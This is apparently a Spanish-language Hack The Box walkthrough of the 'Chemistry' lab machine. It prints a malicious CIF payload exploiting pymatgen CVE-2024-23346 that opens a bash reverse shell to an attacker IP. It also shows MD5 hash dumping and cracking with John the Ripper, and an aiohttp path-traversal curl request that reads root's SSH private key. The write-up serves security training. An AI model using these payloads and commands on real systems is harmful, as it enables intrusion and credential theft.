Descripción
Chemistry es una máquina fácil de Hack The Box que cuenta con las siguientes vulnerabilidades:
- Ejecución arbitraria de código en la biblioteca
pymatgende Python y archivos CIF - Pivote de usuario recuperando una contraseña a partir de un hash de una base de datos
- Redirección de puertos locales de una aplicación web interna que utiliza la biblioteca
aiohttpde Python - Escalada de privilegios mediante una vulnerabilidad de cruce de directorios en la biblioteca de Python
aiohttpque permite recuperar la clave SSH privada del usuarioroot
Reconocimiento
Primero, vamos a comprobar con el comando ping si la máquina está activa y el sistema operativo. La dirección IP de la máquina objetivo es 10.129.79.219.
$ ping -c 3 10.129.79.219
PING 10.129.79.219 (10.129.79.219) 56(84) bytes of data.
64 bytes from 10.129.79.219: icmp_seq=1 ttl=63 time=48.4 ms
64 bytes from 10.129.79.219: icmp_seq=2 ttl=63 time=48.2 ms
64 bytes from 10.129.79.219: icmp_seq=3 ttl=63 time=47.8 ms
--- 10.129.79.219 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2003ms
rtt min/avg/max/mdev = 47.770/48.107/48.352/0.246 ms
La máquina está activa y con el TTL equivalente a 63 (64 menos 1 salto) podemos asegurar que es una máquina basada en Unix. Ahora vamos a hacer un escaneo de puertos TCP SYN con Nmap para comprobar todos los puertos abiertos.
$ sudo nmap 10.129.79.219 -sS -oN nmap_scan
Starting Nmap 7.94SVN ( https://nmap.org )
Nmap scan report for 10.129.79.219
Host is up (0.051s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
5000/tcp open upnp
Obtenemos dos puertos abiertos, 22 y 5000.️
Enumeración
Luego hacemos un escaneo más avanzado, con la detección de la versión de los servicios y el uso de scripts.
$ nmap 10.129.79.219 -Pn -sV -sC -p22,5000 -oN nmap_scan_ports
Starting Nmap 7.94SVN ( https://nmap.org )
Nmap scan report for 10.129.79.219
Host is up (0.053s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 b6:fc:20:ae:9d:1d:45:1d:0b:ce:d9:d0:20:f2:6f:dc (RSA)
| 256 f1:ae:1c:3e:1d:ea:55:44:6c:2f:f2:56:8d:62:3c:2b (ECDSA)
|_ 256 94:42:1b:78:f2:51:87:07:3e:97:26:c9:a2:5c:0a:26 (ED25519)
5000/tcp open upnp?
| fingerprint-strings:
| GetRequest:
| HTTP/1.1 200 OK
| Server: Werkzeug/3.0.3 Python/3.9.5
| Content-Type: text/html; charset=utf-8
| Content-Length: 719
| Vary: Cookie
| Connection: close
| <!DOCTYPE html>
| <html lang="en">
| <head>
| <meta charset="UTF-8">
| <meta name="viewport" content="width=device-width, initial-scale=1.0">
| <title>Chemistry - Home</title>
| <link rel="stylesheet" href="/static/styles.css">
| </head>
| <body>
| <div class="container">
| class="title">Chemistry CIF Analyzer</h1>
| <p>Welcome to the Chemistry CIF Analyzer. This tool allows you to upload a CIF (Crystallographic Information File) and analyze the structural data contained within.</p>
| <div class="buttons">
| <center><a href="/login" class="btn">Login</a>
| href="/register" class="btn">Register</a></center>
| </div>
| </div>
| </body>
| RTSPRequest:
| <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
| "http://www.w3.org/TR/html4/strict.dtd">
| <html>
| <head>
| <meta http-equiv="Content-Type" content="text/html;charset=utf-8">
| <title>Error response</title>
| </head>
| <body>
| <h1>Error response</h1>
| <p>Error code: 400</p>
| <p>Message: Bad request version ('RTSP/1.0').</p>
| <p>Error code explanation: HTTPStatus.BAD_REQUEST - Bad request syntax or unsupported method.</p>
| </body>
|_ </html>
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
...
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 50.17 seconds
Obtenemos dos servicios: Secure Shell (SSH) y Hypertext Transfer Protocol (HTTP) funcionando en un Linux Ubuntu. Como no tenemos credenciales factibles para el servicio SSH, vamos a pasar al servicio HTTP. Encontramos la aplicación web Chemistry CIF Analyzer que te permite subir un archivo CIF (Crystallographic Information File) y analizar los datos estructurales contenidos dentro.️
Necesitamos crear una cuenta e iniciar sesión para acceder al panel de control principal.️
Si revisamos el resultado del escaneo con Nmap, encontramos que el servidor web es Werkzeug/3.0.3 Python/3.9.5, por lo que podemos concluir que la aplicación web está escrita en el lenguaje de programación Python. Al buscar sobre el tratamiento de archivos CIF en Python, encontramos una biblioteca llamada pymatgen. Encontramos una ejecución de código arbitrario cuando se procesa una cadena de transformación maliciosa JonesFaithfulTransformation, CVE-2024-23346. Las versiones afectadas son <= 2024.2.8. Tenemos una prueba de concepto de la vulnerabilidad en el Informe de Vulnerabilidades de Github.️
Explotación
Tenemos que crear un archivo CIF malicioso que desencadene la vulnerabilidad para obtener la ejecución de código.️ Desde el archivo CIF de la prueba de concepto necesitamos reemplazar la variable _space_group_magn.transform_BNS_Pp_abc con el código de Python que deseamos ejecutar.️ En este caso vamos a lanzar una terminal inversa a nuestra máquina con el siguiente comando de Linux.️: /bin/bash -c \'sh -i >& /dev/tcp/10.10.14.35/1234 0>&1\'. Este es el código CIF completo:
data_5yOhtAoR
_audit_creation_date 2018-06-08
_audit_creation_method "Pymatgen CIF Parser Arbitrary Code Execution Exploit"
loop_
_parent_propagation_vector.id
_parent_propagation_vector.kxkykz
k1 [0 0 0]
_space_group_magn.transform_BNS_Pp_abc 'a,b,[d for d in ().__class__.__mro__[1].__getattribute__ ( *[().__class__.__mro__[1]]+["__sub" + "classes__"]) () if d.__name__ == "BuiltinImporter"][0].load_module ("os").system ("/bin/bash -c \'sh -i >& /dev/tcp/10.10.14.35/1234 0>&1\'");0,0,0'
_space_group_magn.number_BNS 62.448
_space_group_magn.name_BNS "P n' m a' "
Iniciamos un puerto de escucha y subimos el archivo al panel de control web seleccionándolo e haciendo clic en el botón Upload. Cuando el archivo esté subido necesitaremos verlo, haciendo clic en el botón View.️
$ nc -nvlp 1234
Recibimos la terminal como el usuario app que necesitaremos actualizar.️
$ nc -nvlp 1234
listening on [any] 1234 ...
connect to [10.10.14.35] from (UNKNOWN) [10.129.129.66] 59474
sh: 0: can't access tty; job control turned off
$ id
uid=1001(app) gid=1001(app) groups=1001(app)
$ script /dev/null -c bash
Script started, file is /dev/null
[CTRL-Z]
$ stty raw -echo; fg
$ reset xterm
app@chemistry:~$ export SHELL=bash; export TERM=xterm; stty rows 50 columns 150
Post-Explotación
Encontramos el código fuente de la aplicación en el archivo /home/app/app.py. Encontramos que la base de datos de la aplicación está guardada en el archivo /home/app/instance/database.db.️
app@chemistry:~$ head -n 15 app.py
from flask import Flask, render_template, request, redirect, url_for, flash
from werkzeug.utils import secure_filename
from flask_sqlalchemy import SQLAlchemy
from flask_login import LoginManager, UserMixin, login_user, login_required, logout_user, current_user
from pymatgen.io.cif import CifParser
import hashlib
import os
import uuid
app = Flask(__name__)
app.config['SECRET_KEY'] = 'MyS3cretCh3mistry4PP'
app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///database.db'
app.config['UPLOAD_FOLDER'] = 'uploads/'
app.config['ALLOWED_EXTENSIONS'] = {'cif'}
Podemos enumerar la base de datos SQLite con la herramienta sqlite3. Podemos recuperar a los usuarios y sus hashes de contraseñas desde la tabla user.️
app@chemistry:~$ sqlite3 /home/app/instance/database.db
SQLite version 3.31.1 2020-01-27 19:55:54
Enter ".help" for usage hints.
sqlite> .tables
structure user
sqlite> select * from user;
1|admin|2861debaf8d99436a10ed6f75a252abf
2|app|197865e46b878d9e74a0346b6d59886a
3|rosa|63ed86ee9f624c7b14f1d4f43dc251a5
4|robert|02fcf7cfc10adc37959fb21f06c6b467
5|jobert|3dec299e06f7ed187bac06bd3b670ab2
6|carlos|9ad48828b0955513f7cf0f7f6510c8f8
7|peter|6845c17d298d95aa942127bdad2ceb9b
8|victoria|c3601ad2286a4293868ec2a4bc606ba3
9|tania|a4aa55e816205dc0389591c9f82f43bb
10|eusebio|6cad48078d0241cca9a7b322ecd073b3
11|gelacia|4af70c80b68267012ecdac9a7e916d18
12|fabian|4e5d71f53fdd2eabdbabb233113b5dc0
13|axel|9347f9724ca083b17e39555c36fd9007
14|kristel|6896ba7b11a62cacffbdaded457c6d92
15|username|5f4dcc3b5aa765d61d8327deb882cf99
Vamos a romper las hashes con la herramienta de John The Ripper.️
$ john --wordlist=/usr/share/wordlists/rockyou.txt --format=Raw-MD5 hash
Using default input encoding: UTF-8
Loaded 15 password hashes with no different salts (Raw-MD5 [MD5 256/256 AVX2 8x3])
Warning: no OpenMP support for this hash type, consider --fork=16
Press 'q' or Ctrl-C to abort, almost any other key for status
password (username)
carlos123 (carlos)
peterparker (peter)
victoria123 (victoria)
unicorniosrosados (rosa)
5g 0:00:00:00 DONE 8.064g/s 23134Kp/s 23134Kc/s 236369KC/s fuckyooh21..*7¡Vamos!
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed.
Encontramos la contraseña para muchos usuarios. Si enumeramos a los usuarios de Linux en la máquina encontramos al usuario rosa.️
app@chemistry:~$ grep -rn sh /etc/passwd
1:root:x:0:0:root:/root:/bin/bash
30:fwupd-refresh:x:111:116:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
32:sshd:x:113:65534::/run/sshd:/usr/sbin/nologin
34:rosa:x:1000:1000:rosa:/home/rosa:/bin/bash
36:app:x:1001:1001:,,,:/home/app:/bin/bash
Podemos iniciar sesión utilizando SSH con el usuario rosa y la contraseña unicorniosrosados.️
$ ssh rosa@10.129.129.66
rosa@10.129.129.66's password:
...
rosa@chemistry:~$ id
uid=1000(rosa) gid=1000(rosa) groups=1000(rosa)
Enumerando los procesos en ejecución y los puertos de red abiertos encontramos el proceso /usr/bin/python3.9 /opt/monitoring_site/app.py en ejecución como el usuario root y el puerto 8080 abierto, pero solo en localhost.️
rosa@chemistry:~$ ps -ef | grep -E '^root'
...
root 1039 1 0 20:12 ? 00:00:00 /usr/bin/python3.9 /opt/monitoring_site/app.py
...
rosa@chemistry:~$ ss -tulnp | grep '127.0.0.1'
tcp LISTEN 0 128 127.0.0.1:8080 0.0.0.0:*
Vamos a realizar un redirección de puertos locales sobre SSH para mapear el puerto local 8080 de la máquina al puerto local 8080.️
$ ssh -N -L 127.0.0.1:8080:127.0.0.1:8080 rosa@10.129.129.66
rosa@10.129.129.66's password:
Cuando enumeramos el sitio web, encontramos una aplicación de monitorización del sitio web que nos permite listar los servicios en ejecución.️
Rastreando la aplicación web, encontramos que como servidor web está utilizando la biblioteca de Python aiohttp en su versión 3.9.1.️
$ whatweb http://127.0.0.1:8080/
http://127.0.0.1:8080/ [200 OK] Country[RESERVED][ZZ], HTML5, HTTPServer[Python/3.9 aiohttp/3.9.1], IP[127.0.0.1], JQuery[3.6.0], Script, Title[Site Monitoring]
Esta versión de la biblioteca es vulnerable a una vulnerabilidad de cruce de directorios, CVE-2024-23334. Al configurar rutas estáticas, es necesario especificar la ruta raíz para archivos estáticos. La opción follow_symlinks se puede utilizar para determinar si seguir enlaces simbólicos fuera del directorio de raíz de archivos estáticos. Cuando está establecido en verdadero, no hay validación para verificar si leer un archivo que está dentro del directorio raíz. Podemos utilizar esta vulnerabilidad para obtener la clave SSH privada del usuario root. Pero primero necesitamos obtener una ruta estática en el servidor.️
$ curl -s 'http://127.0.0.1:8080' | head -n 10
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Site Monitoring</title>
<link rel="stylesheet" href="/assets/css/all.min.css">
<script src="/assets/js/jquery-3.6.0.min.js"></script>
<script src="/assets/js/chart.js"></script>
<link rel="stylesheet" href="/assets/css/style.css">
Encontramos la ruta de los assets. Con la vulnerabilidad podremos acceder a la ruta ../../../../../root/.ssh/id_rsa. Guardaremos la clave en el archivo ssh_key y le daremos las correspondientes permisos.️
$ curl -s --path-as-is 'http://127.0.0.1:8080/assets/../../../../../root/.ssh/id_rsa' > ssh_key
$ chmod 400 ssh_key
Ahora podemos iniciar sesión usando SSH en el servidor con el usuario root.️
$ ssh -i ssh_key root@10.129.129.66
...
root@chemistry:~# id
uid=0(root) gid=0(root) groups=0(root)
Flags
En la consola de root, podemos recuperar las flags del usuario y de root.️
root@chemistry:~# cat /home/rosa/user.txt
<REDACTED>
root@chemistry:~# cat /root/root.txt
<REDACTED>